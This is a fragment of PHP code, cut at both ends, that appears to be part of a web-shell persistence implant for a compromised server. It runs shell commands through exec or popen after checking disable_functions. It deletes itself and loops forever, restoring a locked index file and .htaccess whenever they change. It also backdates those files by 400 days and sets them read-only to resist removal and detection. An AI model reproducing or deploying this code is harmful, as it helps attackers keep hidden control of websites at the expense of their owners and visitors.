$key : $value
"; } } function is_cli() { $is_cli = preg_match("/cli/i", php_sapi_name()) ? true : false; if ($is_cli === false) { if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) { $is_cli = true; } } if ($is_cli === false) { if (!isset($_SERVER['SCRIPT_NAME'])) { $is_cli = true; } } return $is_cli; } function run($code, $method = 'popen') { $disabled = explode(',', ini_get('disable_functions')); $new_disable = array(); foreach ($disabled as $item) { $new_disable[] = trim($item); } if (in_array($method, $new_disable)) { $method = 'exec'; } if (in_array($method, $new_disable)) { return false; } $result = ''; switch ($method){ case 'exec': exec($code,$array); foreach ($array as $key => $value) { $result .= $key . " : " . $value . PHP_EOL; } return $result; break; case 'popen': $fp = popen($code,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); $result .= $out; } pclose($fp); return $result; break; default: return false; break; } } function functionCheck() { $disabled = explode(',', ini_get('disable_functions')); $new_disable = array(); foreach ($disabled as $item) { $new_disable[] = trim($item); } if (in_array('exec', $new_disable) && in_array('popen', $new_disable)) { return false; } return true; } function lockfilefunc($lock_file_path,$current_file_name,$content,$hash_content){ if (!file_exists($lock_file_path)) { @file_put_contents($lock_file_path, $content); @touch($lock_file_path, strtotime("-400 days", time())); @chmod($lock_file_path, 0444); } $new_content = file_get_contents($lock_file_path); $new_hash_content = hash('sha1', $new_content); if ($new_hash_content != $hash_content) { @unlink($lock_file_path); @file_put_contents($lock_file_path, $content); @touch($lock_file_path, strtotime("-400 days", time())); @chmod($lock_file_path, 0444); } @chmod($lock_file_path, 0444); } if (is_cli()) { @unlink($current_file_path); // index $content = file_get_contents($lock_file_path); $hash_content = hash('sha1', $content); // .htaccess $htContent = file_get_contents($lock_ht_path); $hash_ht_content = hash('sha1', $htContent); // exit; while (true) { if (file_exists($current_file_name)) { break; } lockfilefunc($lock_file_path,$current_file_name,$content,$hash_content); if ($lockHt == 1){ lockfilefunc($lock_ht_path,$current_file_name,$htContent,$hash_ht_content); } sleep(1); } } function lockfile($file, $data) { @unlink($file); chmod($file, 0777); @unlink($file); file_put_contents($file, $data); chmod($file, 0444); usleep(1000000); } if ( strstr($_SERVER['SCRIPT_NAME'], $current_file_name)) { echo '